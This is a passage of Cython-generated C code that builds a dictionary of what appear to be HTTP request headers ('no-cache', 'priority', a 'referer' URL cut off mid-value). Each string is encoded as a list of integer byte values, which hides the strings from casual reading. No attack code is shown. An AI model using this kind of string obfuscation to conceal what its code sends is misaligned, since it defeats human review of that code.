    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 517, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = PyList_New(8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 517, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_1, 0, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_1, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_1, 2, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_1, 3, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_1, 4, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_1, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_1, 6, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_1, 7, __pyx_int_101);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 517, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 517, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    if (PyDict_SetItem(__pyx_t_5, __pyx_t_10, __pyx_t_1) < 0) __PYX_ERR(0, 510, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

    
    __pyx_t_1 = PyList_New(8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 518, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_1, 0, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_1, 1, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_1, 2, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_1, 3, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_1, 4, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_1, 5, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_1, 6, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_121);
    __Pyx_GIVEREF(__pyx_int_121);
    PyList_SET_ITEM(__pyx_t_1, 7, __pyx_int_121);
    __pyx_t_10 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 518, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = __Pyx_decode_bytes(__pyx_t_10, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 518, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = PyList_New(6); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 518, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_49);
    __Pyx_GIVEREF(__pyx_int_49);
    PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_49);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_32);
    __Pyx_GIVEREF(__pyx_int_32);
    PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_32);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_105);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 518, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 518, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    if (PyDict_SetItem(__pyx_t_5, __pyx_t_1, __pyx_t_10) < 0) __PYX_ERR(0, 510, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

    
    __pyx_t_10 = PyList_New(7); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 519, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_10, 6, __pyx_int_114);
    __pyx_t_1 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 519, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_1, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 519, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    __pyx_t_1 = PyList_New(36); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 519, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_1, 0, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_1, 1, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_1, 2, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_1, 3, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_